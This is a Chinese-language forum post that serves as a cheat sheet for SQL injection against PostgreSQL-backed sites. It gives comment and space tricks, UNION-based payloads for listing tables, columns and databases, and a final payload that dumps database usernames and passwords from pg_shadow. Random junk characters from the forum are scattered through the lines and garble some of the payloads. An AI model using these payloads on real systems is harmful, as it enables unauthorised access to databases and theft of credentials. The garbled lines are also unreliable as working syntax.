找回密码
 立即注册
查看: 2669|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
4 z4 w% g4 W9 [7 f

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
" {/ b2 D2 L0 T2 i2 d" n' T$ _连接符: %20 , + , /**/

内置函数:
/ ~3 A* U1 n4 ]0 X5 K4 I% Q2 Rcurrent_database() //当前数据库名* i6 B7 ]! ~* Z  z. G' g0 ]
session_user //会话用户
9 E- n$ s% K; b) k+ d  ecurrent_user //当前数据库用户) `# Z" m9 x8 O, f; q& c" I/ ^
user //当前用户% l$ p, l! [" V1 A3 ~
version() //数据库版本

Union注射:+ l+ q( x8 M7 ~; V- n; Q2 O& l& c: c
order by n–
; v2 T* X8 e/ p* R* tand 1=2 union select null,null,null–7 c2 f" }2 d) C! U5 S
and 1=2 union select ‘beach’,null,null–' ]- y- b- d+ }
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):! L3 v5 C( e+ V1 w8 i1 l
group_concat(table_name)
0 j5 p$ R) E  {2 B5 ]2 Aand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–, |. U' v* g# y! k! e4 E
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
7 |0 a9 c: N# E(老版本)% I0 K9 d3 ~* j' ~2 \! z
pg_class.oid对应pg_attribute.attrelid
2 H3 t. h) v+ u$ I9 g( Q5 tpg_class.relname表名
, J' I, k8 Z$ X9 i& D* R! Spg_attribute.attname字段名

select relname from pg_class获取表名8 X2 C9 E2 t( s7 z& B3 v
select oid from pg_class where 条件 获取参数
% Q, _7 D" l/ q2 I6 {select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
" d1 }8 e- v1 Wand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表% _) |- X. {6 X  {/ l& {# ~
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–& _+ h" F0 |3 t  J( D/ K/ h2 s
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
* L) f) I6 j* H. W; z======================================================================: t: c+ g, \* Q/ f8 u
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
, d3 o% ]6 R' j" w! N! Gand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表